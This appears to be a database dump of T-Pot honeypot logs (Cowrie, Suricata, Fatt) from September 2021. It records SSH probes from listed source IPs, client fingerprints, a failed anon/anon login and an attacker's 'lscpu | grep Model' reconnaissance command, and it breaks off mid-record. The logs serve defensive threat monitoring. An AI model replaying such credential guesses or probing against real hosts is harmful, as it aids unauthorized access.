20993	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:37.801492+03	2021-09-20 14:15:03.084614+03	{"_id": "nAbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35274, "dest_port": 22, "timestamp": "2021-09-20T11:06:37.801492", "@timestamp": "2021-09-20T11:06:37.801Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20994	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:37.303248+03	2021-09-20 14:15:03.085613+03	{"_id": "oAbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [anon/anon] failed", "session": "7d2bd67868c0", "@version": "1", "password": "anon", "username": "anon", "timestamp": "2021-09-20T11:06:37.303248Z", "@timestamp": "2021-09-20T11:06:37.303Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20995	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:37.694883+03	2021-09-20 14:15:03.087613+03	{"_id": "oQbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:37.694883Z", "@timestamp": "2021-09-20T11:06:37.694Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20996	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:37.907596+03	2021-09-20 14:15:03.089614+03	{"_id": "pAbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d2b6638962f4", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:37.907596Z", "@timestamp": "2021-09-20T11:06:37.907Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21003	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:38.697272+03	2021-09-20 14:15:03.098613+03	{"_id": "1gbiAnwBvYTbRNuE7wAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:38.697272Z", "@timestamp": "2021-09-20T11:06:38.697Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20997	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:37.989142+03	2021-09-20 14:15:03.090613+03	{"_id": "pwbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5372a2bf8e42", "@version": "1", "timestamp": "2021-09-20T11:06:37.989142Z", "@timestamp": "2021-09-20T11:06:37.989Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20998	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:37.987026+03	2021-09-20 14:15:03.092613+03	{"_id": "0AbiAnwBvYTbRNuE7gAX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2112185110992901, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47002, "dest_port": 22, "timestamp": "2021-09-20T11:06:37.987026Z", "@timestamp": "2021-09-20T11:06:37.987Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20999	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:38.575981+03	2021-09-20 14:15:03.093613+03	{"_id": "0QbiAnwBvYTbRNuE7gAX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 836143884923071, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53166, "dest_port": 22, "timestamp": "2021-09-20T11:06:38.575981Z", "@timestamp": "2021-09-20T11:06:38.575Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21000	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:38.294827+03	2021-09-20 14:15:03.094614+03	{"_id": "0wbiAnwBvYTbRNuE7wAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:53166 (192.168.176.2:22) [session: d28c6ad901da]", "session": "d28c6ad901da", "@version": "1", "protocol": "ssh", "src_port": 53166, "dest_port": 22, "timestamp": "2021-09-20T11:06:38.294827Z", "@timestamp": "2021-09-20T11:06:38.294Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21001	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:38.252519+03	2021-09-20 14:15:03.095613+03	{"_id": "1AbiAnwBvYTbRNuE7wAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d61fcba64b47", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:38.252519Z", "@timestamp": "2021-09-20T11:06:38.252Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21004	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:39.013795+03	2021-09-20 14:15:03.099613+03	{"_id": "1wbiAnwBvYTbRNuE7wAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "2811eb54717c", "@version": "1", "duration": 2.564276695251465, "timestamp": "2021-09-20T11:06:39.013795Z", "@timestamp": "2021-09-20T11:06:39.013Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21005	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:38.935892+03	2021-09-20 14:15:03.100614+03	{"_id": "2AbiAnwBvYTbRNuE7wAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:43758 (192.168.176.2:22) [session: d429027559e7]", "session": "d429027559e7", "@version": "1", "protocol": "ssh", "src_port": 43758, "dest_port": 22, "timestamp": "2021-09-20T11:06:38.935892Z", "@timestamp": "2021-09-20T11:06:38.935Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21006	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:39.065887+03	2021-09-20 14:15:03.101614+03	{"_id": "2QbiAnwBvYTbRNuE7wAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:60130 (192.168.176.2:22) [session: 1ffa175fba2f]", "session": "1ffa175fba2f", "@version": "1", "protocol": "ssh", "src_port": 60130, "dest_port": 22, "timestamp": "2021-09-20T11:06:39.065887Z", "@timestamp": "2021-09-20T11:06:39.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21007	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:38.177507+03	2021-09-20 14:15:03.102612+03	{"_id": "2gbiAnwBvYTbRNuE7wAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c0f8f17e80c2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:38.177507Z", "@timestamp": "2021-09-20T11:06:38.177Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21008	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:38.29726+03	2021-09-20 14:15:03.104613+03	{"_id": "2wbiAnwBvYTbRNuE7wAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "223.241.247.214", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.6026122570037842, "duplicate": true, "timestamp": "2021-09-20T11:06:38.297260Z", "@timestamp": "2021-09-20T11:06:38.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21009	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:38.298308+03	2021-09-20 14:15:03.105612+03	{"_id": "3AbiAnwBvYTbRNuE7wAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d28c6ad901da", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:38.298308Z", "@timestamp": "2021-09-20T11:06:38.298Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21010	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:38.52838+03	2021-09-20 14:15:03.107614+03	{"_id": "3QbiAnwBvYTbRNuE7wAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", 